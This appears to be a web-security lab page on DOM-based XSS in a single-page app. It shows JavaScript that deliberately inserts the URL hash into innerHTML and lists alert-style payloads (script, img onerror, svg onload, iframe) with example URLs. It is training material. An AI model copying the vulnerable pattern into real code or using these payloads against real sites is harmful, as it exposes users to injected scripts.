Client-side XSS using URL hash navigation
This lab demonstrates a DOM XSS vulnerability in a single-page application that uses URL hash fragments for navigation. The application dynamically loads content based on the hash value without proper sanitization.
Objective: Inject a DOM XSS payload using the URL hash that will execute when navigating to different sections.
// Vulnerable SPA navigation code
function loadPage() {
var hash = window.location.hash.substring(1);
var contentDiv = document.getElementById('content');
if (!hash) {
hash = 'home';
}
// Vulnerable: Direct insertion into DOM
contentDiv.innerHTML =
'<h2>Welcome to ' + hash + '</h2>' +
'<p>You are viewing the ' + hash + ' section.</p>' +
'<div class="info">Current page: ' + hash + '</div>';
}
// Listen for hash changes
window.addEventListener('hashchange', loadPage);
window.addEventListener('load', loadPage);
// Additional vulnerable function
function updateBreadcrumb() {
var hash = location.hash.slice(1);
var breadcrumb = document.getElementById('breadcrumb');
// Vulnerable: Direct innerHTML assignment
breadcrumb.innerHTML =
'<nav><ol class="breadcrumb">' +
'<li><a href="#home">Home</a></li>' +
'<li>' + hash + '</li>' +
'</ol></nav>';
}
Try these URLs in your browser:
#about - Normal navigation#<script>alert('XSS')</script> - XSS payload#<img src=x onerror=alert('XSS')> - Image XSS#<svg onload=alert('XSS')> - SVG XSSwindow.location.hashinnerHTML (multiple locations)Add these to the end of the URL after #:
<script>alert('XSS')</script><img src=x onerror=alert('XSS')><svg onload=alert('XSS')><iframe src="javascript:alert('XSS')"></iframe><body onload=alert('XSS')>Example URLs:
2.php#<script>alert('XSS')</script>2.php#<img src=x onerror=alert('XSS')>textContent instead of innerHTML